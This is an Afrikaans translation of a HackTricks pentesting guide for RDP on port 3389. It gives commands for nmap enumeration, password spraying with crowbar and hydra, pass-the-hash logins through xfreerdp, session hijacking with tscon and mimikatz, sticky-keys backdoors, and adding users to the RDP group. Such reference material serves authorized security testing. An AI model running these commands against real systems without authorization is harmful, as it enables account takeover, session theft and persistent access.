3389 - Pentesting RDP

Reading time: 5 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Ontwikkel deur Microsoft, die Remote Desktop Protocol (RDP) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word RDP kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar RDP bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om 'n afstandsrekenaar se desktopomgewing naatloos te beheer en toegang te verkry, wat essensieel die koppelvlak na die gebruiker se plaaslike toestel bring.

Standaard poort: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Opname

Outomaties

bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Dit kontroleer die beskikbare versleuteling en DoS kwesbaarheid (sonder om DoS aan die diens te veroorsaak) en verkry NTLM Windows inligting (weergawe).

Brute force

Wees versigtig, jy kan rekeninge sluit

Wagwoord Spuit

Wees versigtig, jy kan rekeninge sluit

bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Verbinde met bekende akrediteerbesonderhede/hash

bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Kontroleer bekende geloofsbriewe teen RDP-dienste

rdp_check.py van impacket laat jou toe om te kontroleer of sommige geloofsbriewe geldig is vir 'n RDP-diens:

bash
rdp_check <domain>/<name>:<password>@<IP>

Aanvalle

Sessie steel

Met SYSTEM regte kan jy enige geopende RDP-sessie deur enige gebruiker toegang verkry sonder om die wagwoord van die eienaar te ken.

Kry geopende sessies:

query user

Toegang tot die geselekteerde sessie

bash
tscon <ID> /dest:<SESSIONNAME>

Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker kan naboots met slegs Windows-gereedskap en -kenmerke.

Belangrik: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.

Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)

Mimikatz

Jy kan ook mimikatz gebruik om dit te doen:

bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Deur hierdie tegniek te kombineer met stickykeys of utilman, sal jy in staat wees om toegang te verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd.

Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggegaan is met: https://github.com/linuz/Sticky-Keys-Slayer

RDP Proses Inspuiting

As iemand van 'n ander domein of met beter regte aanmeld via RDP op die PC waar jy 'n Admin is, kan jy jou beacon in sy RDP-sessie proses inspuit en as hom optree:

RDP Sessions Abuse

Voeg gebruiker by RDP-groep

bash
net localgroup "Remote Desktop Users" UserLoginName /add

Outomatiese Gereedskap

AutoRDPwn is 'n post-exploitatie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die Shadow aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om sy slagoffer se lessenaar sonder sy toestemming te sien, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.

  • EvilRDP
  • Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
  • Beheer klembord op 'n geoutomatiseerde manier vanaf die opdraglyn
  • Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kan lei
  • Voer arbitrêre SHELL en PowerShell opdragte op die teiken uit sonder om lêers op te laai
  • Laai lêers op en af na/vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is

HackTricks Outomatiese Opdragte

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks